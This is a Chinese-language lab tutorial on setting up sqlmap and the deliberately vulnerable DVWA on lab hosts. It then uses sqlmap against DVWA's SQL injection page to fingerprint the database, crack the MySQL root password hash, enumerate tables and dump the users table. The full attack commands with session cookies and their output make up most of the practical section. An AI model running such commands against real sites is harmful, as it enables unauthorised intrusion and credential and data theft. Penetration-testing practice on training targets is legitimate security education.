通過sqlnamp檢測sql注入漏洞
1 sql注入概述并安裝SQLmap漏洞檢視工具
2 安裝滲透測試演練系統DVWA
3 實戰-使用SQLmap進行sql注入并獲得背景管理者adnim帳号和密碼
注: 網頁最好不要使用GET方式送出,GET是明文方式進行送出,應該使用POST方式進行送出。
1.1 sql注入概述
所謂SQL注入,就是通過把SQL指令插入到Web表單送出或輸入域名或頁面請求的查詢字元串,最終達到欺騙伺服器執行惡意的SQL指令。
它是利用現有應用程式,可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的資料庫。
1.2 什麼是SQLmap?
SQLmap是一款用來檢測與利用SQL注入漏洞的免費開源工具,有一個非常棒的特性,即對檢測與利用的自動化處理(資料庫指紋、通路底層檔案系統、執行指令)。
官方網站下載下傳http://sqlmap.org/

安裝SQLmap: k4 IP:10.27.17.34
滲透測試演練系統DVWA: k5 IP :10.27.17.62
安裝SQlmap
[root@k4 yum.repos.d]# tar -zxvf sqlmapproject-sqlmap-1.3.9-13-gb51f02c.tar.gz
[root@k4 yum.repos.d]# tar -zxvf sqlmapproject-sqlmap-1.3.9-13-gb51f02c.tar.gz
[root@k4 sqlmapproject-sqlmap-b51f02c]# python -V
Python 2.7.5 #如果未安裝PYTHON . yum install -y python
[root@k4 sqlmapproject-sqlmap-b51f02c]# ./sqlmap.py 啟動
建立一個slqmap軟體連結
[root@k4 sqlmapproject-sqlmap-b51f02c]# ln -s /root/sqlmapproject-sqlmap-b51f02c/sqlmap.py /usr/bin/sqlmap
2 安裝滲透測試演練系統DVWA
DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql編寫的一套用于正常WEB漏洞教學和檢測的WEB脆弱性測試程式。包含了SQL注入、XSS、盲注等常見的一些安全漏洞。
官方網站:連結位址:http://www.dvwa.co.uk 由于是國外的網站,有時可能會打不開。
1、安裝LANP
[root@k5 local]# yum install -y httpd php php-mysql php-gd mariadb-server mariadb mysql
注:php-gd庫:gd庫是php處理圖形的擴充庫,gd庫提供了一系列用來處理圖檔的API,使用GD庫可以處理圖檔,或者生成圖檔。 在網站上GD庫通常用來生成縮略圖或者用來對圖檔加水印或者對網站資料生成報表及驗證碼。
Complete!
2、啟動相關服務
[root@k5 local]# systemctl restart httpd
[root@k5 local]# systemctl enable httpd
[root@k5 local]# systemctl restart mariadb
[root@k5 local]# systemctl enable mariadb
Created symlink from /etc/systemd/system/multi-user.target.wants/mariadb.service to /usr/lib/systemd/system/mariadb.service.
3、測試PHP網頁是否運作
[root@k5 local]# vi /var/www/html/test.php
<?php
phpinfo();
?>
4、配置mysql資料root使用者密碼:
[root@k5 ~]# mysqladmin -u root password "123456"
[root@k5 ~]# mysql -u root -p123456
5、将下載下傳的dvwa滲透系統代碼上傳到Linux上,并解壓到網站根目錄下
[root@xuegod63 ~]# unzip -d /var/www/html/ DVWA-1.9.zip
[root@k5 ~]# ll /var/www/html/
total 12
drwxr-xr-x 8 apache apache 4096 Feb 6 2019 DVWA-master
-rw-r--r-- 1 root root 12 Jun 28 11:10 index.html
[root@k5 ~]# chown -R apache:apache /var/www/html/DVWA-master/
6、編輯DVAW配置檔案/dvwa/config/config.inc.php,配置資料庫資訊,user和password是MySQL的使用者名和密碼。
[root@k5 ~]# vim /var/www/html/DVWA-master/config/config.inc.php
7、部署DVWA網站系統
在浏覽器中輸入:http://10.27.17.62/DVWA-master/setup.php
[root@k5 ~]# systemctl restart httpd
8、修改DVWA配置 檔案完成安裝
[root@k5 ~]# vim /var/www/html/DVWA-master/config/config.inc.php
通路https://www.google.com/recaptcha/admin/create并用google賬戶登入,在文本框輸入自己網站的網址,
如global-key.mycompany.com ,點選create key,生成Public Key和Private Key。
生成自己的谷歌開源免費驗證碼reCAPTCHA的公鑰和私鑰。
9、點 Create / Reset
Database 建立測試資料庫
DVWA
10、後期登入:
http://10.27.17.62/DVWA-master/login.php
dvwa的登入界面的預設使用者名和密碼為admin和password
3、使用SQLmap進行sql注入并獲得背景管理者adnim帳号和密碼
注入原理
SQLmap文法:SQLmap指令選項被歸類為目标(Target)選項、請求(Request)選項、優化、注入、檢測、技巧(Techniques)、指紋、枚舉等。
檢視sqlmap.py 幫助選項:
[root@k4 ~]#
sqlmap -h
3.1舉登入MYSQL資料的使用者名與密碼
1、使用SQLmap之前我們得到需要目前會話cookie等資訊,用來在滲透過程中維持連接配接狀态
Cookie 使用其複數形式稱為cookies ,指某些網站為了識别使用者的身份、進行session跟蹤,而存儲在使用者本地終端上的資料(通常是經過加密)
隻要登入過網站,就會在使用者本地産生cookie,主要用于身份識别、進行session會話跟蹤
2、抓取cookie
對于浏覽器抓取cookie方法:打開一個網站,登入上使用者名和密碼,按F12 ,如下圖
為友善示範,我們将DVWA安全等級設定為low:
接下來我們進入頁面的“SQL Injection”部分,輸入任意值并送出。可以看到get請求的ID參數如
http://10.27.17.62/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit
這裡有送出sql語句的地方,是以就是我們的一個sql注入點。
是以該頁面就是我們的目标頁面。
security low PHPSESSID vbbjtco9885lh8nh32bpnv3i25
3.2枚舉登入資料庫的使用者名與目前正在使用的資料庫名
sqlmap常用參數:
1、-u : 指定目标URL,syql注入點
2、--cookie : 目前會話的cookie值
3、-b : 擷取資料庫類型 檢索資料庫管理系統的辨別
(DBMS:Database Management System 資料庫管理系統)
4、--current-db : 擷取目前資料庫
5、--current-user :擷取目前登入資料庫使用的使用者
[root@k4 ~]# sqlmap -u "http://10.27.17.62/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie="security=low; PHPSESSID=vbbjtco9885lh8nh32bpnv3i25" -b --current-db --current-user
it looks like the back-end DBMS is
\'MySQL\'. Do you want to skip test payloads specific for other DBMSes? [Y/n]Y #已經識别出來為mysql,現在直接跳過,不再掃描其他類型的資料庫
back-end DBMS :背景資料庫管理系統,
for the remaining tests, do you want to
include all tests for \'MySQL\' extending provided level (1) and risk (1) values?
[Y/n]n #這裡寫n 如果有想測試一些mysql其他值,就先Y,寫Y測試時間比較長。
10:31:20] [INFO] the back-end DBMS is MySQL
[10:31:20] [INFO] fetching banner
web server operating system: Linux CentOS 7-1708
web application technology: Apache 2.4.6, PHP 5.4.16
back-end DBMS: MySQL >= 5.0
banner: \'5.5.56-MariaDB\'
[10:31:21] [INFO] fetching current user
current user: \'root@localhost\'
[10:31:21] [INFO] fetching current database
current database: \'dvwa\'
[10:31:21] [INFO] fetched data logged to text files under \'/root/.sqlmap/output/10.27.17.62\'
[*] ending @ 10:31:21 /2019-09-18/
3.3 使用指令用來枚舉所有登入msyql資料庫的使用者名和密碼hash值,後期可以對密碼hash進行破解,生成明文密碼
SQLmap使用選項:
1、--string : 當查詢可用時用來比對頁面中的字元串
2、--users : 枚舉DBMS使用者
3、--password : 枚舉DBMS使用者密碼hash
[root@k4 ~]# sqlmap -u "http://10.27.17.62/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie="security=low; PHPSESSID=vbbjtco9885lh8nh32bpnv3i25" --string="Surname" --users --password
database management system users [6]:
[*] \'\'@\'k5\'
[*] \'\'@\'localhost\'
[*] \'root\'@\'127.0.0.1\'
[*] \'root\'@\'::1\'
[*] \'root\'@\'k5\'
[*] \'root\'@\'localhost\'
[10:33:28] [INFO] fetching database users password hashes
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[10:33:32] [INFO] writing hashes to a temporary file \'/tmp/sqlmapFTy2SH2434/sqlmaphashes-XFWFKM.txt\'
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] y
[10:33:36] [INFO] using hash method \'mysql_passwd\'
what dictionary do you want to use?
[1] default dictionary file \'/etc/yum.repos.d/sqlmapproject-sqlmap-b51f02c/data/txt/wordlist.tx_\' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[10:34:16] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] y
[10:34:23] [INFO] starting dictionary-based cracking (mysql_passwd)
[10:34:23] [WARNING] multiprocessing hash cracking is currently not supported on this platform
[10:34:31] [INFO] cracked password \'123456\' for user \'root\'
database management system users password hashes:
[*] root [1]:
password hash: *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
clear-text password: 123456 密碼被破解出來。
[10:34:31] [INFO] fetched data logged to text files under \'/root/.sqlmap/output/10.27.17.62\'
[*] ending @ 10:34:31 /2019-09-18/
3.4 實戰3-1:枚舉dvwa庫的中表
使用選項:
1、-D : 要枚舉的DBMS資料庫
2、--tables :
枚舉DBMS資料庫中的資料表
[root@k4 ~]# sqlmap -u "http://10.27.17.62/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie="security=low; PHPSESSID=vbbjtco9885lh8nh32bpnv3i25" -D dvwa --tables
3.5擷取dvwa庫中users表的所有列名字
使用選項:
-T : 要枚舉的DBMS資料庫表
--columns : 枚舉DBMS資料庫表中的所有列
[root@k4 ~]# sqlmap -u "http://10.27.17.62/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie="security=low; PHPSESSID=vbbjtco9885lh8nh32bpnv3i25" -D dvwa -T users --columns
3.6 拖庫,擷取dvwa庫中users表的所有列名字
拖庫本來是資料庫領域的術語,指從資料庫中導出資料。到了黑客攻擊泛濫的今天,它被用來指網站遭到入侵後,黑客竊取其資料庫。
使用選項:
-T : 要枚舉的DBMS資料表
-C: 要枚舉的DBMS資料表中的列
--dump : 轉儲DBMS資料表項
sqlmap -u "http://10.27.17.62/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie="security=low; PHPSESSID=vbbjtco9885lh8nh32bpnv3i25" -D dvwa -T users -C user,password --dump
[root@k4 output]# vim /root/.sqlmap/output/10.27.17.62/dump/dvwa/users.csv
chown apache:apache
/var/www/html/DVWA-1.9/ -R